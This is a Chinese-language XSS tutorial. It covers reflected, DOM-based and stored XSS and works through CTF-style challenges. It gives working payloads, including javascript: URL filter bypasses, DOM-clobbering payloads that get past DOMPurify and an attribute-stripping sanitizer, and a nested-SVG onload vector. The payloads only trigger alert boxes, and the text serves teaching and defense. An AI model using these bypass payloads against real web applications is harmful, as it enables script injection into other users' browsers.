渗透高级----第四章:XSS进阶
文章目录
- 第四章:XSS进阶
- 一,XSS的原理和分类
- 二,XSS分类
- 1,反射型XSS
- 2,DOM型XSS
- DOMPurify框架
- DOM破坏
- toString方法
- 3,存储型XSS
第四章:XSS进阶
一,XSS的原理和分类
XSS(跨站脚本攻击)漏洞的原理是程序对输入和输出的控制不够严格,导致精心构造的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行。攻击者通过在用户端注入恶意可执行脚本,若服务器对用户输入未处理或处理不严,浏览器便会执行这些恶意脚本,进而实现攻击目的。
二,XSS分类
1,反射型XSS
反射型XSS是非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中,如搜索框的反射型XSS。在搜索框中,提交PoC[scriptalert(/xss/)/script],点击搜索,即可触发反射型XSS。注意到,我们提交的poc会出现在search.php 页面的keywords 参数中。
特点:
- 一次性攻击:恶意代码仅在当前请求中生效,不存储在服务器端。
- 依赖用户交互:需诱导用户点击恶意链接或提交表单。
- 常见场景:搜索框、错误提示页、表单提交等。
防御措施:
- 输入验证:对用户输入进行严格校验,过滤特殊字符。
- 输出编码:在将用户输入嵌入HTML响应前,进行HTML实体编码。
- CSP策略:通过Content Security Policy限制脚本执行来源。
例题:
// 源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
当在输入框输入:javascript:alert("http://")
后,通过查看网页源码,发现该题对javascript
进行了过滤,这也是这题的突破点:
对输入值的javascript
进行实体编码后,重新输入:
javascript:alert('http://')
// 或者:
javascript:alert(1)//http://
2,DOM型XSS
DOM XSS 比较特殊。owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的。其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。
例题:
// 源码:
<body><h2 id="boomer">Ok, Boomer.</h2>
</body>
<!-- 引入框架 -->
<script src="../DOMPurify/dist/purify.min.js"></script>
<script>// 1.ok从哪里来// dom破坏中来,定义一个a标签// <a id=ok href='aaaaaaa'>// <a id=ok href='javascript:alert(2)'// 2.ok里面一定是恶意代码,并且需要有恶意payload触发// JavaScript:alert(1)// 3.框架如何"绕过"// 无需绕过框架,因为触发点不在库昂加这行代码,而是在setTimeout这里// 4.ok引入// <a id=ok href='javascript:alert(2)' boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")// 这是一个定时器,js定时器有两个,一个是setTimeout,在指定延迟的时间内执行一次,2秒后执行ok// setInterval 循环执行// 如何去创建一个ok,并且让ok里面含有恶意代码,然后被setTimeout执行// Dom 破坏,setTimeout是否是一个函数,如果是 ok 就是函数传递的参数,那么就会自动调用ok的toString,a href的值setTimeout(ok, 2000)
</script>
解题一:使用dom破坏,定义a标签,使用tel:alert(888)
?boomer=<a%20id=ok%20href="tel:alert(888)">
解题二:使用dom破坏,定义a标签,使用sms:alert(888)
?boomer=<a%20id=ok%20href="sms:alert(888)">
为什么不使用javascript:alert()
:javascript
会被<script src="../DOMPurify/dist/purify.min.js"></script>
这个框架过滤掉。在该框架中,可以使用 mailto|tel|callto|sms|cid|xmpp|matrix
这些关键字替换掉javascript
。
setTimeout()方法:Window 接口的 setTimeout()
方法设置一个定时器,一旦定时器到期,就会执行一个函数或指定的代码片段。
DOMPurify框架
DOMPurify框架的src/regexp.ts文件中,写有该框架过滤的关键字:
import { seal } from './utils.js';// eslint-disable-next-line unicorn/better-regex
export const MUSTACHE_EXPR = seal(/\{\{[\w\W]*|[\w\W]*\}\}/gm); // Specify template detection regex for SAFE_FOR_TEMPLATES mode
export const ERB_EXPR = seal(/<%[\w\W]*|[\w\W]*%>/gm);
export const TMPLIT_EXPR = seal(/\$\{[\w\W]*/gm); // eslint-disable-line unicorn/better-regex
export const DATA_ATTR = seal(/^data-[\-\w.\u00B7-\uFFFF]+$/); // eslint-disable-line no-useless-escape
export const ARIA_ATTR = seal(/^aria-[\-\w]+$/); // eslint-disable-line no-useless-escape
export const IS_ALLOWED_URI = seal( // 该框架的白名单/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i // eslint-disable-line no-useless-escape // 这些就是该框架允许的关键字
);
export const IS_SCRIPT_OR_DATA = seal(/^(?:\w+script|data):/i);
export const ATTR_WHITESPACE = seal(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g // eslint-disable-line no-control-regex
);
export const DOCTYPE_NAME = seal(/^html$/i);
export const CUSTOM_ELEMENT = seal(/^[a-z][.\w]*(-[.\w]+)+$/i);
DOM破坏
1,Create
<body><!-- 1 --><img id="x"><img name="y">
</body>
<script>// 1console.log(x)console.log(y)console.log(document,x)console.log(document,y)console.log(window,x)console.log(window,y)
</script>
可以通过 id
或者 name
属性,在document
或者 windows
对象下创建一个对象。
2,Overwrite(单次覆盖)
<body><!-- 2 --><img id="x"><img name="cookie">
</body>
<script>// 2// 在程序中,这样的操作是危害非常大的// 因为用户的权限太大,可以随意更改系统函数let div = document.createElement('div')div.innerHTML = '<img name=cookie>'// 可以将我们js创建的html标签插入到body中document.body.appendChild(div)console.log(document.cookie)
</script>
可以看出 document.cookie
已经被 img标签
覆盖了。
3,Overwrite2(2次覆盖)
<body><!-- 3 --><form name="body"><img id="appendChild"></form>
</body>
<script>// 3 2次覆盖:document.x.yconsole.log(document.body.appendChild)
</script>
通过多层覆盖掉了document.body.appendChild
⽅法。
<script>let div = document.createElement('div')document.body.appendChild(div)
</script>
toString方法
toString()方法返回一个表示该对象的字符串。该方法旨在重写(自定义)派生类对象的类型转换的逻辑。
4,只有a标签有自己的toString方法。
<body><!-- 4:只有a标签有自己的toString方法 --><a href="aaaaa"></a>
</body>
<script>var res = Object.getOwnPropertyNames(window) // 获取 window 对象的所有自身属性名(包括不可枚举属性,但不包括继承的属性)。.filter(p => p.match(/Element$/)) // 筛选出属性名以 "Element" 结尾的属性。.map(p => window[p]) // 将属性名转换为对应的属性值(即构造函数)。map() 方法:创建一个新的数组。.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString) //进一步筛选出自定义了 toString 方法的构造函数。console.log(res)
</script>
可以得到两种标签对象:HTMLAreaElement (<area>)
& HTMLAnchorElement (<a>)
,这两标签对象我们都可以利⽤href 属性来进⾏字符串转换。
5,将a当做函数的参数的时候,会自动调用a的toString方法,而a的toString是自身方法,不是继承的,它可以打印href中的内容。
<body><!-- 5 --><a id=a href="aaaaaaaaaaaa">abc</a>
</body>
<script>console.log(a) // 1// 将a当做函数的参数的时候,会自动调用a的toString方法,而a的toString是自身方法,不是继承的,它可以打印href中的内容alert(a) // 2
</script>
6,dom破坏和双重svg标签
<body><!-- <style>@keyframes x{}</style><form style="animation-name:x;" onanimationstart="alert(1)"><input id=attributes ><input id=attributes> --></body>
<script>const data = decodeURIComponent(location.hash.substr(1));const root = document.createElement('div');// 可能在这里可以解析数据? 是否可以? 如果可以,用哪个标签,为什么?root.innerHTML = data;// img id=attributesfor (let el of root.querySelectorAll('*')) {let attrs = []for(let attr of el.attributes) {attrs.push(attr.name);}// 在这里删除的属性,oenrror href,程序没有走进来就触发// dom 破坏,给他凭空生成一个无关的节点,依然没有删除我们的payloadfor(let name of attrs) {el.removeAttribute(name);}}document.body.appendChild(root);
</script>
第一种:dom破坏
<style>@keyframes x{}</style><form style="animation-name:x;" onanimationstart="alert(1)"><input id=attributes ><input id=attributes>
第二种:svg
- 1.一个svg注定失败,两个svg直接成功
- 2.在属性都被删除的情况下,为什么svg依然可以触发成功
#<svg><svg/onload=alert(1)>
3,存储型XSS
存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。